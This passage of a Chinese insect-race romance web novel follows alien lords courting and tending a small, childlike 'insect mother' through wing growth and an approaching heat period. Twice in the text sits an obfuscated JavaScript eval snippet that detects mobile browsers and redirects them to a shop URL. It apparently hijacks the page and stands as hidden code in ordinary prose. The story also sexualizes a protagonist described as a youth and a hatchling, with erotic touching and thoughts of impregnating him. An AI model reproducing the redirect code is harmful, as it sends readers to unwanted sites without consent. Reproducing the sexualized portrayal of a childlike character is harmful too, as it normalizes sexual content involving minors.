“您可以接受他们的照顾和保护,但要记住,保持距离,不要轻易承诺,也不要被任何虫的精神力过度影响,有任何不舒服,或者任何虫让你感到不安,立刻按床头的呼叫器。” 他指着床头一个不起眼的银色按钮。 他碎碎叨叨的说了不少话,阿默尔再次点头,表示明白。 他知道维萨是在保护他。 维萨像一位有耐心的老师,事无巨细地教给他很多虫族的生存技巧。 接下来的几天,阿默尔的生活发生了天翻地覆的变化。 医疗官们每天都会为他进行温和的身体检查和数据监测,调配的营养剂和食物也越来越符合他的口味。 维萨送来了许多据说是用星蚕丝和月光绒编织的柔软衣物,“这地方连个正儿八经的商铺都没有,真是落后。” 欧迦弄来了一堆亮晶晶的矿石和结晶,堆在阿默尔窗边的小桌上,说是给他玩的,“还可以吃哦!” 诺顿几乎包揽了阿默尔日常起居的所有琐事,从穿衣梳头到陪伴散步,无微不至。 三只德亚加虫被安置在楼下经过改造的宽敞庭院里,有模拟自然的环境,充足的食物,让阿默尔可以随时看到它们,它们也能时刻感知到阿默尔的气息。 铁甲它们最初有些焦躁,但在确认阿默尔安全且能频繁见面后,逐渐平静下来,甚至开始适应新的环境。 艾凛则变得异常忙碌。 他不仅要处理基地的日常军务,还要协调医疗和研究团队,制定更长期的保护和培育计划。 这天下午,阿默尔在诺顿的陪伴下,在套房附带的阳台上晒太阳。 诺顿正轻声为他讲述着星系的历史,声音温和悦耳。 阿默尔半眯着眼睛,昏昏欲睡,身上散发着连他自己都未察觉的甜香。 淡淡的,很清甜。 突然,楼下传来一阵异常的骚动,德亚加虫低沉地咆哮着。 阿默尔瞬间清醒,站起身扑到栏杆边向下望去。 只见庭院里,欧迦正在观察休息的铁甲,铁甲对这位气息强大的雄虫极为戒备,上颚张开,发出威胁的低吼,长爪和小宝也迅速聚拢过来,呈对峙姿态。 “欧迦,你在干什么?”诺顿低头看了一眼。 欧迦却一笑,“培养一下感情嘛,毕竟以后都要生活在一起的。” “妈咪同意和你一起生活了吗?”诺顿冷冷一笑。 然而欧迦已经跃上了二楼。 这位虫族著名的领主之一,赤眼红蜂,欧迦,是出了名的好斗。 身形挺拔得像一杆标枪,嘴角勾起张扬的笑。 “诺顿,别这么紧张嘛,我只是在向未来的虫母陛下展示我的价值和忠心,忠诚不是靠嘴上说说,或者像某些虫一样,只会跪在地上祈求怜悯。” 欧迦意有所指,红眸瞥了诺顿一眼,带着赤裸裸的挑衅,“对于我们蜂种,尤其是赤眼红蜂而言,忠诚需要用力量证明,用行动捍卫。我,欧迦,第七星区领主,麾下战蜂军团所向披靡,我的忠诚,就是最锋利的矛与最坚固的盾。” 他向前走了一步,红眸深处跳动着一簇火焰,野心、征服欲,以及渴望。 “我愿为您荡平前路一切阻碍,为您攫取星辰与疆土,我的存在本身,就是对您权威的延伸,这份忠诚,不需要任何法案或承诺来约束,它刻在我的血脉里,只等您来取用。” 这番话说得狂妄又直接。 阿默尔歪了歪头,然后,他对着欧迦,轻轻招了招手。 欧迦的红眸猛地亮了一下,他毫不犹豫地大步走到了阿默尔面前,微微低下头,将自己置于小虫母触手可及的位置。 阿默尔伸出手,轻轻摸了摸欧迦那头炽热如焰的红发。 然后,他的手指顺着欧迦的头发滑下,落在了他线条凌厉的下颌,轻轻碰了碰。 欧迦喉结滚动了一下,“妈咪?” 阿默尔眨了眨眼,忽然想起维萨之前给他看过的纪录片。 有个器具,能让调皮的大型宠物安静片刻 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给欧迦戴这个,也只是不想让他伤害小宝它们。 但是欧迦的表情实在是难以捉摸。 阿默尔以为欧迦会生气,会立刻扯掉它,那双红眸里可能会燃起怒火。 违背他刚刚许过的誓言。 然而,欧迦只是跪在那里,抬手,缓缓抚摸着颈环的表面,一颗颗镶嵌的红宝石精美奢靡,显然是工匠名作。 他的表情有一瞬间的空白,随即,那双总是燃烧着战意和野心的赤红眼瞳里,竟然缓缓柔和下来。 像是被赋予了至高无上的认可,独一无二的荣誉。 虫母亲手为他戴上颈环,他被束缚住了。 他终于有了家…… 他再也不是没妈咪要的雄虫。 欧迦低低地笑了起来,很是满足,“妈咪,您愿意要我,是吗?” 阿默尔没想到他会是这个反应。 欧迦伸出双臂,轻柔地将还有些怔愣的小虫母小心翼翼地抱了起来,安置在自己屈起的那条腿的膝头。 让他的臀能坐在自己结实的大腿上。 这个姿势让他能完全将小虫母环在怀中,却又保持着一种臣服的姿态,不至于冒犯了小妈咪。 “呼!”阿默尔轻轻惊呼了一声,下意识地扶住了欧迦坚实的肩膀。 “?” 欧迦低下头,炽热的红发扫过阿默尔的额角,“妈咪呀。” 他凝视着怀中少年清澈的眼睛,缓缓低下头,粗糙的舌尖轻轻舔了一下阿默尔修长白皙的指尖。 甜甜的,好软,细腻地像糖。 欧迦把他的手含在唇中,细长的舌尖一下又一下地吸吮着小虫母的手指,任由那只细瘦的手指在自己口中蜷缩成可可爱爱的样子。 好香好香……想一口把妈咪吞吃入腹……品尝他的甜蜜与眼泪……全部的蜜香…… “谢谢您的赏赐,妈咪,我很喜欢这条颈环。” 欧迦吐出小虫母湿漉漉的手指,声音压得极低,极力克制自己的欲望,他俯身过去,滚烫的呼吸拂过阿默尔的皮肤。 他看见那一小片雪白的肌肤缓缓变红,染上了羞怯。 阿默尔安安静静地收起自己的手,他的手已经是温热的了,被吸吮得火热热的手指,有股湿湿腻腻的难过,沾着薄湿的软意,说不清是委屈还是慌乱。 “呜……” 欧迦怎么可以这样? 阿默尔用力咬了下下唇,齿尖抵着柔软的唇肉,将那点委屈的颤音咽回去,猛地别过脸。 少年眼睫簌簌轻颤,连耳尖都染透了红,不肯再看欧迦一眼。 欧迦有些无措,他不敢碰又舍不得,声音哑得快揉碎了,全是无措:“对不起,妈咪,是我不好。” 他俯身蹭了蹭阿默尔的发顶,温热的鼻尖抵着柔软的发丝,滚烫的呼吸放得极轻,怕再惊着他:“我没忍住,不该吓到您。” 见阿默尔还是别着脸,眼睫颤得厉害,欧迦又往前凑了凑,声音压得更低,带着点近乎哀求的哑:“别生我气,妈咪,您看我一眼,就一眼。” 阿默尔轻轻地看了他一眼。 见他终于偏过一点脸,眼尾还红着,眸光水润润的,欧迦又轻轻蹭了蹭他的手背,指尖勾着他的小指轻轻勾了勾,低声哄:“不气了好不好?” 欧迦知道自己欺负狠了,温声哄道:“但我只想说,我是您的了,妈咪,我带有您的记号,我属于您。我会是您最锋利的武器,也是您最听话的猎犬。” “请您随意使用我,无论是发育期内,还是……度过发育期之后。” “我绝对好用。” 欧迦很是骄傲,似乎对自己的硬件设施非常有自信。 8. 第 8 章 欧迦的体型迅猛有力,充满掠食者的气息,但此刻他在虫母面前单膝跪地,低下高傲的头颅,表示臣服。 可是,虫母实在是过于娇小了,虫族任何一个雄性都是小虫母的两倍有余,欧迦就算这样,身躯依然能投下将虫母完全笼罩的阴影。 欧迦貌似刚从训练场回来,带着一身血腥味,却走进了虫母静谧的小屋。 充满柔软菌毯、花卉藤蔓,和细腻生物荧光的“巢穴”。 因为欧迦的到来,这里香甜的气息都被打散了不少。 诺顿的精神力在那一刹不稳定,两个雄虫本来就不能和平共处。 “欧迦,妈咪很柔弱,请注意你的举止,你再用力一点,妈咪的手指就要被你吃成白骨了。” 阿默尔深有同感。 不过,欧迦离得实在太近了,阿默尔不得不按下欧迦的头,用脚轻轻踢了他一下,“呜……” 可以离远一些嘛? 没想到,欧迦顺势趴下来,非但没有收敛,还将下巴抵在阿默尔的膝盖,炽热的红发披散在小虫母的腿侧,复眼微眯。 他第一次知道,虫母是和雄虫截然不同的虫族。 虫母的手没有覆盖锋利骨刺的巨爪,腿部也没有生出强壮的节肢,他甚至还没来得及长翅膀,连怀孕需要的尾椎根部也没有完全发育成繁殖尾巴,没有长出产卵管和生殖腔。 他只有柔软的手足,皮肤还很光滑柔软,缺乏光照,没有甲壳,完全是需要精心呵护的幼崽期,哪里有成熟妈妈的气息? 简直是小妈咪嘛。 “妈咪。” 雄虫在表达尊敬时,触角会垂下并微微颤抖,等待着虫母的责罚。 欧迦垂着触须,“妈咪,我承认诺顿说的对,是我的错,您踹的对,应该再用力一点踢我。” 欧迦用虫化的掌心托起虫母的小腿肚,强忍住了本体化的冲动,把六对腹足收进腹肌里,保持完美的八块腹肌状态。 在非交/配或者非战斗时间,虫族不会轻易把虫身暴露出来,因为这样不够优雅。 虫母对种族的些许偏爱,都有可能影响虫族各种族内部的地位高低,这么一点点爱,就能决定种族是走向繁荣,还是逐渐式微,更加剧了雄虫在虫母面前的表现欲和竞争欲。 欧迦不想让虫母对他有一点点厌恶,不论是现在还是未来,虫母都是他的主,他的王。 哪怕虫母不会说话,仍然如此。哪怕虫母不会爱他,也仍然如此。 阿默尔抚摸着他的触须,“唉。” 欧迦的膜翅立刻在身后高频震颤,复眼中万千个星辰亮起。 欧迦捧着他的双脚,放在唇边热吻。 虫母纤细的脚踝踏在雄虫摊开的掌心里,很是雪白,也很温暖。 毕竟,雄虫的掌心布满粗糙的战斗疤痕,不太好看,好在还有坚硬的虫化甲壳,能隔凉隔热。 阿默尔蹙了蹙眉,又踢了他一脚,然后欧迦就轻叹一口气,趴在地上,“妈咪,求您疼我。” 阿默尔垂了垂眼看他。 心软的小虫母把欧迦搀扶起来。 然后天旋地转,阿默尔被欧迦滚烫的怀抱圈在怀里。 “就知道妈咪心里有我。”欧迦喟叹一声,“妈咪这么心软,只会让我越来越过分的。” 欧迦的身形比阿默尔高大健壮太多,结实的胸肌完全覆盖住他的脊背,健壮的手臂箍在他纤薄的腰间,存在感强烈得无法忽视,一只手也攥不住欧迦的手臂。 “……呜。” 纤细的白皙手指搭在雄虫小麦色的粗胳膊上。 阿默尔仰起头,对上欧迦那双野性的红瞳。 小虫母呼吸急促,双眸被憋出一点点泪花,有点窒息了。 舌尖甚至都吐出来一点点。 然后他立刻竖起一根手指,递到欧迦嘴唇边。 “谢谢妈咪的赏赐……” 欧迦本能地张开了嘴唇,打算用舌头含住妈咪的手指。 然而,阿默尔只是把那根手指竖在他嘴唇上,坚定地皱了皱眉。 是“不许”的意思。 欧迦意识到自己的胳膊太粗,而小虫母的腰肢只有那么一点点细,他稍加用力,小虫母的脸就憋红了。 他抱歉地笑着,收开手臂,让清瘦小巧的可爱虫母得到自由,“知道了,妈咪,我以后会轻一点抱您。” 妈咪实在是太好抱了,那么小一点,柔柔弱弱的。 阿默尔这才轻轻点了点头,从鼻腔里发出一个软糯的气音:“……嗯。” 欧迦得寸进尺,手臂一个用力,轻而易举地将身形纤细的小虫母打横抱了起来。 虫母的腰肢不盈一握,而雄虫肌肉虬结的手掌就能轻松环住,指节上的骨刺和甲壳更需要小心翼翼,以免划伤他脆弱的皮肤。 阿默尔的双手为了保持平衡,不得不搂住了欧迦的脖颈,手刮擦过欧迦后颈短硬的发茬,整颗脑袋都完全埋进了欧迦的胸里。 被肌肉挤压到了鼻梁…… “呜呜呜呜!” 又又又无法呼吸了! 小虫母身上不停溢出的蜜香包裹着欧迦,欧迦浑身的肌肉和血液都在颤抖。 “对不起,妈咪,我僭越了。” 欧迦慌忙把阿默尔从胸前移开,阿默尔鼻头红红的,无奈地拍了拍欧迦的手臂。 “呜。” 下次不要这样了。 欧迦也很抱歉。 红蜂是不讲道理的种族,生性好战,伤口复合能力一流,对他来说,哪怕砍掉一条臂肢都能在10s内长出来,这具身体是天生的战士,血流干了也能在一天后复原苏醒,残血状态下也能拧断星兽脖子。 欧迦从基因池里孵出来就是一个粗野的雄虫,他从未试过小心翼翼地去抱起什么。 他必须很小心,才能把小虫母扛在肩头。 他已经很轻很轻了,他怕再用力一点就会碰碎了细皮嫩肉的小妈咪。 阿默尔安安稳稳地坐在雄虫宽厚的肩甲上,为了保持平衡而轻轻扶住他的触角。 欧迦被虫母的气味惹得喉结滚动,少年的轻盈体重对他而言如同无物,倒是坐在肩上的柔软弹性,让他心痒难耐。 妈咪的肚子这么小,怀孕又会鼓起来,到时候薄薄的一层皮肤,妈咪怀着会很辛苦的,估计走路都难,只能在虫巢里养胎。 可要是怀孕虫卵数量太多,被撑坏了怎么办? 欧迦尽想些无边无际的,只有诺顿才能从他的眼神里看出他在想什么。 大家都是雄虫,就别装清纯了好吗?谁看到虫母会心如止水?大大方方承认算了。 诺顿说正事:“妈咪,您的第二阶段检测结果已经出来了,需要我带您去看吗?” “妈咪在我这,我戴着降值机甲呢,我抱着他去。” 欧迦扛着阿默尔,朝医疗室的方向飞去,完全无视了身后诺顿几乎要杀虫的目光。 雄虫展开的鞘翅下还有膜翅,宽广而狰狞,边缘锋利如刀,这些都为力量感服务,但在虫母面前,这些武器都被欧迦刻意收敛,变得笨拙。 欧迦居然用这双虫翅当遮阳伞,替小虫母遮挡住刺眼的阳光。 诺顿强忍住额头青筋,默然跟着飞去。 他不放心欧迦的精神力,怕欧迦一激动就弄伤小虫母,小虫母还那么脆弱,那么柔嫩,哪怕有降值机甲也不能百分百避险。 毕竟,他们都是高阶雄虫,精神阈值在安全的100以下和超标的100以上选择了暴风级的200以上,一旦过度使用精神力或激烈运动,就会对自身造成伤害。 因此,帝国科研一所研发出了结合生物科技的外部机甲。 这些机甲如同活体战甲,既能提供强大的物理防护和攻击力,还能缓冲、放大精神力,保护使用者,将精神力更有效地释放出去,雄虫们这才得以在没有虫母的日子里,在战斗中发挥出更恐怖的战斗力,并且就这样一直等待着。 在帝国的所有领土区域,都盼着虫母的降临。 为了向虫母证明自己的价值,为虫母提供最好的生育资源,雄虫们在宇宙中开拓和经营自己的领地,这些领地可能是一颗资源丰富的行星,也可能是一片战略要冲的星域,领地的规模、资源产出、军事力量,都成为雄虫们炫耀的资本和竞争的焦点。 上升到内阁政治层面之后,不同种族的雄虫为了族群利益和虫母的青睐明争暗斗,也造成了帝国如今的局势动荡。 否则,虫母的存在必然已经被公开,还用在这地方遭罪? “……” 诺顿心事重重地陪同来到医疗中心观测室。 艾凛上将也在。 “各位领主阁下,结论已经很明确了,妈咪的初次发育期来势汹汹,根据基因序列显示,紧随其后的就是信息素潮汐期。” “通俗点说,就是发情期。” “妈咪的身体需要大量高浓度的雄虫信息素来稳定即将爆发的信息素浪潮,否则会引起信息素反噬,对妈咪尚未完全成熟的精神海造成不可逆的损伤——包括不能很好地对虫族进行支配,安抚,控制,一旦妈咪遇险,精神感应能力会失效,我们不能感受到妈咪的情绪和需求,这是对母亲的不敬。” “孕育生命的妈咪是伟大的。” “我们有义务帮助妈咪度过发情期。” 欧迦烦躁地扯了扯颈环,这条银灰色的环扣在他小麦色的皮肤上格外紧致,但他乖乖地又挪动回原位:“妈咪需要信息素?那还等什么?我们这里谁的信息素不够浓烈?” “问题不在于有没有,而在于如何给予,以及妈咪是否接受。” 艾凛一针见血:“妈咪没有在虫族社会长大,他对信息素交融的理解和需求与我们完全不同,强行灌注信息素致使妈咪怀孕是犯罪,罪该万死。我警告所有军虫及医疗虫,别敢这么想,除非找死。” 艾凛站得笔直,戗驳领深蓝色上将制服背部覆盖着蛾翅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219202|197499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说话间,他背部眼状斑纹的翅翼优雅地舒展,鳞粉浅浅。 这是鳞翅属虫对虫母的敬意,打报告的时候必须把虫翅露出来。如果虫母不再需要见他,那么虫翅会原路收束,军装背部瞬间恢复挺括平整。 阿默尔看到虫翅的收缩,觉得很神奇。 他还没完全进化出成熟的虫翅,只有一对柔软的翅芽呢。 小宝铁甲和长爪会给他舔舔舔,帮助他的翅膀快一点长大。 而且在那种时候,他就会很舒服,还会长出一双透明薄纱般的装饰翅,白月光一样的颜色,它们都超级喜欢! 在场每只雄虫却都沉默地看着虫母。 有一件事,大家心知肚明——阿默尔看待他们的眼神,清澈、依赖,好奇,唯独没有他们渴望的那种爱意。 那种属于雄虫与虫母之间带着占有欲的爱意,虫母对虫族温柔而怜悯的母爱,虫母接受虫族对他进行追求的怜爱……都没有。 小虫母亲近他们,信任他们,但他把他们当成伙伴和家虫,不是伴侣。 虫族在这一点上很敏感,他们感受不到爱意,就会失落、焦虑、伤心。 妈咪可能永远无法以他们期望的方式回应他们——这种蚀骨的失落,任何一个虫族都无法承受。 诺顿突然转身,大步离开了观测室,动作快得甚至带起了一阵风。 他需要新鲜空气,妈咪不需要他们,这对虫族来说都太残酷了。 走过走廊的拐角,诺顿把自己塞进阴影里,背靠着墙壁,低着头,肩膀微微颤抖,脆弱得不堪一击。 阿默尔追了出来,还朝他跑过来。 诺顿猛地抬头,小虫母身上还穿着柔软的起居服,看起来小小一只。 “妈咪……”诺顿慌忙抹了把脸,试图挤出一个笑容,却比哭还难看,“怎么不穿鞋?” 阿默尔歪了歪头,触须轻轻晃动,感觉到了诺顿信息素里那股浓烈的悲伤。 尽管他不明白诺顿为什么这么难过,但他不喜欢看到诺顿这样。 他走上前,捏了捏诺顿的脸。 清冷平静的表情,似乎在问他为什么要哭泣? 诺顿最后的防线瞬间被击溃。 只是在妈咪面前,他不忍哭得太丑。 他隐忍着哽咽,恳求道:“妈咪……我……我可不可以……亲您一下?我知道这个要求很疯狂,尤其是在这种时候……对不起,妈咪……” 但他太需要妈咪的触碰来确认自己仍然被爱着了。 观测室里追出来的雄虫看见诺顿一反常态,温声细气地求着小虫母什么。 而虫母陛下温温柔柔地看着他,也只是看着他而已。 妈咪不懂得什么是“爱”。 妈咪甚至快要到发情期。 阿默尔看着诺顿通红的眼眶和那双写满祈求的金瞳,完全能感觉到诺顿此刻极度需要安抚。 “唔。” 阿默尔觉得只是一个吻而已。 他凑上前,轻轻将自己的嘴唇贴在了诺顿的脸颊上。 短暂而轻柔的,清甜的气息。 诺顿僵住了。 阿默尔亲完便退开一点,依旧是那副清冷又懵懂的模样,触须轻轻扫过诺顿的脸颊,还在确认他有没有好一点。 结果诺顿就这么愣住了。 阿默尔轻轻碰了碰他泛红的眼眶,动作软乎乎的,“呜?” 诺顿的肩膀绷了许久,终于缓缓松下来,他小心翼翼地抬手,指尖轻轻碰了碰被阿默尔亲过的地方,声音哑得不成样子,哽咽而微颤:“谢……谢谢妈咪。” 他俯身,将额头抵在阿默尔的额头上,不敢用力,只是轻轻贴着,将自己的信息素压到最柔和的程度,包裹住那团小小的身影,像护住了自己整个世界。 “妈咪最疼我了,我就知道。” “……”身后的欧迦啧了一声,却没上前打扰,只是靠在墙上,翼膜瞬间充血展开,血管脉络如燃烧的金色焰网。 他的红瞳盯着那道相拥的身影,心底的烦躁被说不清道不明的柔软覆盖着。 是妈咪同情的安抚吗…… 艾凛敛了蛾翅,看着那一幕,无声地叹了口气。 小虫母似乎容易心软,这在虫族可不是好事,有些雄虫会利用虫母的心软,以爱之名,骗小虫母给他们生宝宝。 妈咪需要老师,告诉他,虫母应该将雄虫视作繁育的工具,统治的子民,拥有的财富,而非需要温柔对待的伴侣或者朋友。 所有的雄虫都沉默而嫉妒地看着他们的月亮施舍一点点“爱”给诺顿。 阿默尔在诺顿的翅膀上画了一个“?” 像是在问他,现在开心了吗? 诺顿闭了闭眼,嘴角不受控制地向上弯起,哪怕眼眶还红着,却贪心地满足:“嗯,开心。” 阿默尔松了口气,却感觉到后背有些痒。 ——是翅芽开始发育的迹象,他要成长为成熟的虫母了。 9. 第 9 章 诺顿在阿默尔蹙眉的瞬间就察觉到了他的异常。 “妈咪?”诺顿立刻直起身,查看阿默尔的后背,“怎么了?” 阿默尔指了指自己的背:“唔。” 柔软的衣料下,那对原本只是微微凸起的翅芽轮廓,此刻似乎正透出珍珠母贝般的光泽,能隐约看到翅脉下方细微搏动着的血管纹路。 翅芽其实也是很可爱的啦,肉嘟嘟的,因为还没有彻底发育完全,等到肉感退却,彻底演变成轻薄蝶翼质感的时候,也是小虫母彻底成熟的标志,美丽与性感并存。 但是同一时间,艾凛、欧迦,以及观测室门口的所有雄虫都绷紧了神经,注意到阿默尔后背的变化。 “医疗官,实时监测虫母陛下的翅芽发育数据。” 艾凛的声音带着罕见的急促,他上前一步,却没有贸然触碰,只是用目光仔细逡巡,“妈咪,你有没有疼痛感?发热?或者其他不适?” 阿默尔被他们瞬间紧张起来的气氛弄得有些无措,他下意识地伸手想去挠后背,却被诺顿和艾凛同时轻轻握住了手腕。 “妈咪,不能抓。”诺顿的语气温柔但坚决,他小心地将阿默尔转了个身,让他背对着自己,方便观察,“发育期的翅芽非常敏感脆弱,任何外力都可能损伤它,如果痒得厉害,我帮您吹吹?” 他说着,当真低下头,很轻柔地呼气出去,隔着衣料对着那对可怜的小翅芽位置吹了吹气。 温凉的气息拂过,带来些许舒缓,阿默尔努力回头想要看看,可是他什么也看不到,有些失落。 诺顿看出他的失落,拿出自己的终端,拍了一张照片给阿默尔看,“妈咪,我拍了照片给您看。” 阿默尔终于看到了自己的翅芽,笑着点点头,把终端还给了诺顿,踮起脚,抱了抱诺顿。 诺顿的心变得软软的。 欧迦也凑了过来,红眸紧紧盯着那处,呼吸都放轻了,“这么快……信息素潮汐的刺激这么大吗?” 他既兴奋于虫母的成长,又担忧这成长是否会给阿默尔带来负担。 那种担忧碾压了亲近小虫母的兴奋感。 于是,他本能地释放出更浓郁也更温和的信息素,试图包裹住阿默尔,提供一些安抚。 维萨也来到了走廊,翡翠眼眸中满是凝重,“恐怕没有那么简单。” 他走过来,伸出手指,指尖萦绕着很稀薄的安抚性精神力,像最柔软的羽毛,轻微地拂过阿默尔后颈和肩胛骨附近的区域。 那里是翅芽神经连接最密集的地方。 维萨对蝶种的发育了如指掌:“放松,妈咪,这是正常的生长过程,只是您之前发育迟缓,现在突然加速,身体可能有些不适应,我们都在这里,别怕。” 阿默尔没有害怕,但是有虫陪,心里的不安感会少一些,“嗯嗯!” 医疗官们带着便携检测仪匆匆飞来,小心翼翼地开始进行无接触扫描,数据也很快反馈到光屏上。 【检测到信息素浓度波动加剧,峰值逼近临界阈值,翅芽活性显著提升,预估进入快速生长期。 初步判定,信息素潮汐期可能因翅芽发育刺激而提前到来。】 “提前?”艾凛的脸色骤然变得很难看。 原本以为还有时间慢慢准备,慢慢引导,让阿默尔逐渐适应和理解这一切,可现在貌似来不及了? 信息素潮汐期,对虫母而言是身体成熟的标志,也意味着性需求的正式觉醒。 届时,阿默尔的身体会本能地渴求雄虫的信息素来进行调和与稳定,这个算是虫母的本能行为,就算阿默尔意志坚定,也无法用理智克制。 而目前阿默尔的心智状态,显然完全没有准备好应对这种本能。 更危险的是,雄虫们如果不能及时提供足够浓度和适配的雄虫信息素进行疏导,信息素在虫母的体内过度累积,真的会像医疗官说的那样,严重损伤他尚未稳固的精神海,甚至可能危及生命。 “必须立刻开始信息素安抚,不能让妈咪感到痛苦。” 艾凛当机立断,目光扫过在场的三位高阶雄虫——诺顿、欧迦、维萨。 除了他们三个之外,手边没有其他高等种信息素提供者了……唉,凑合用吧。 “但安抚的方式必须很温和,以妈咪的舒适度和接受度为唯一标准,任何试图强行联结或造成惊吓的行为,都将被视为对虫母陛下的严重冒犯和攻击。” 诺顿懂艾凛的担忧,收紧了环在阿默尔腰间的手臂,金眸深沉,“我会用最温和的方式,妈咪可以随时叫停,就当是泡个温水澡,放松点。” 他的信息素原本就偏向柔和渗透,此刻更是被他压制到如同春日暖阳下的微风,一点点尝试着贴近阿默尔,进行初步的接触和融合。 阿默尔接受着诺顿的信息素,感到身体血液流通舒缓,是种很舒服的享受。 诺顿开了个好头,欧迦也努力克制着自己信息素中与生俱来的侵略性和灼热感,将它调整为更厚重温暖的包裹感,让小虫母感受到自己的存在。 维萨适时介入,他的信息素带着清冽的植物芬芳和月光般的凉意,如同无形的藤蔓,轻轻缠绕上阿默尔的脚踝、手腕,这些相对不那么敏感的区域,提供着舒缓的凉意,试图帮助他平复因为升高的体温。 三种不同特质的信息素,但都被极力控制得很温和,如同温柔的潮水,从三个方向,一点一点地漫向中央那道纤细的身影。 阿默尔本能地有些慌张,他下意识地往诺顿怀里缩了缩,这是他现在觉得最熟悉的怀抱。 因为翅芽有一点疼。 诺顿立刻收拢了手臂,给了他一个扎实的依靠,同时将自己的信息素收束得更紧,只维持在虫母能接触到的程度,“没事的,妈咪,我们都在,不舒服就告诉我,或者推开我。” 阿默尔闷闷地“嗯”了一声,粉色的触须无意识地缠绕上诺顿的一缕金发,他闭上眼睛,尝试着去感受和分辨那几种环绕着他的气息。 艾凛站在几步之外,紧紧盯着监测光屏上阿默尔的各项生理指标和精神波动图。 他看到虫母代表信息素浓度的曲线放缓了上升势头,心率也逐渐从略微过快趋向平稳。 但这只是权宜的计策,信息素潮汐一旦正式启动,就不可能轻易平息。 他们需要持续性的信息素交互帮助阿默尔平稳度过这个关键期,同时保护他的精神海。 而这一切的前提,是阿默尔接受这一切。 虫族们都松了一口气。 艾凛也一样,只是,他的目光落在阿默尔微微颤抖的睫毛和紧抿的唇线上。 小虫母正在被迫面对一场他全然陌生的身体战争,太棘手了。 他必须尽快给阿默尔找到一位老师,一位能够教导他虫母的职责、力量与界限,却又不会伤害他纯真心性的引导者。 同时,他们也需要一个安全私密的环境,让虫母应对即将到来的潮汐高峰。 艾凛握紧了拳,无论如何,他必须护住小虫母,是他把虫母带回来的。 * 基地里的其他军虫不知道阿默尔的来历,只当他是艾凛上将捡回来的幼崽,得知幼崽“生病”了,大家商量着要去见阿默尔。 下午照例开大会,会议结束后,一小群军虫逗留在门外不肯走。 他们大多体型高大,甲壳漆黑,骨刺锋利,眼神锐利,带着战场留下的煞气,但此刻,这些习惯于厮杀和警戒的战士们,却都显得有些坐立不安。 “上将!” 看到艾凛走出来,一个复眼格外发达的侦查兵种军官立刻上前,“那个小幼崽怎么样了?听医疗队的朋友说,好像不太舒服?” 其他军虫也竖起了耳朵。 艾凛的目光扫过这群部下,他们有的是跟随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一双灰蓝色的眼睛因为困倦而湿漉漉的,长长的睫毛垂下,他安静地靠着,粉色的触须软软地搭在额边,一只手无意识地抓着毯子的边缘。 那么小,那么软,那么……干净。 像硝烟弥漫的战场上突然绽放的一朵小花,像荒漠世界里一块温润的暖玉。 所有军虫的呼吸都下意识地放得更轻了。 他们从未没见过真正自然孕育的幼崽,有的即便见过实验室出来的复制体,也从未感受过如此触动心弦的气息。 他们什么都没说,只是那样静静地看着,眼神里的暴戾和冷硬不知不觉消融。 艾凛心中五味杂陈。 阿默尔的存在,就像一颗散发着温暖光芒的种子,已经开始不知不觉地影响着他周围的虫族, 这种发自本能的忠诚与爱戴,或许会成为未来保护阿默尔的一股力量。 阿默尔也清醒了,他好奇地看着门缝外那些陌生的面孔。 他们的样子各异,有的看起来很威武,有的看起来有点凶,但他们的眼神……和铁甲它们守护他时的眼神,有那么一点点相似,没有恶意,只有关心。 他抬起没被抓着的那只手,对着门缝,轻轻挥了挥,露出了一个有些困倦但友好的浅笑。 侦查军官的触须猛地抖了一下,慌忙也抬起手,僵硬地挥了挥。 重装兵下意识地想挺直腰板行个军礼,又硬生生忍住,只是笨拙地点了点头。 蝶种通讯官的翅膀抖得更厉害了,差点扇起一阵小风。 大家手足无措,看上去恨不得冲进屋里狠狠rua小虫母。 长久没有感受过温暖的虫族们被阿默尔一个浅笑萌到心坎里,撩得他们手忙脚乱,向来冷酷肃杀的心脏瞬间被这股柔软的暖意填满了。 谁能拒绝软乎乎还会浅笑挥手的小虫崽啊! 10. 第 10 章 艾凛定了定神,从这美丽梦幻的粉色泡泡里回过神来。 他还有很多事情要做,首先,他得去说服那几个绝对不会轻易放弃贴身照顾权的领主阁下,给他们制定关于轮流值班和保持距离的规矩。 虽然艾凛内心里觉得,这恐怕比指挥一场星系战役还要麻烦。 高大凶悍的军虫们并没有跟随上将立刻散去。 他们依旧站在原地,仿佛被一团柔软的光芒覆盖住,然而下一秒,所有雄虫的身体同时僵住了。 因为小虫母动了动。 一丝甜香顺着流通的空气,丝丝缕缕地渗入走廊的空气里,复杂、原始,混合着顶级虫母信息素的诱惑力、生命孕育之初的芬芳,以及虫母充满召唤意味的费洛蒙。 可能是阿默尔还太小,信息素的浓度极低,却因为品质的绝对高,对走廊上这些感官敏锐战士们造成了核弹级别的冲击。 “呃——!” 最前面的侦查军官猛地闷哼一声,覆盖着甲壳的脸颊瞬间涨成暗红色,复眼中的万千个小眼同时收缩,“这是什么味道?好甜……” 他几乎是踉跄着后退了一大步,背部重重撞在墙壁上,他手忙脚乱地抬起手臂,死死捂住自己的鼻子,动作狼狈得完全失去了一个精英侦查兵的沉稳:“我快要不能呼吸了,阿默尔……谁能告诉小虫崽,不要再散发魅力了?” 那些浑身覆盖着厚重骨板的重装兵更是不堪。 他们双腿一软,小山般的身躯晃了晃,差点直接单膝跪倒在地,还粗重地喘息着,面甲下的呼吸口喷出灼热的白气,下意识地并拢了双腿,试图掩饰雄性本能的生理反应。 他们死死低着头,不敢再看那扇门,仿佛里面藏着能将他彻底焚烧殆尽的圣火。 “走……走!” 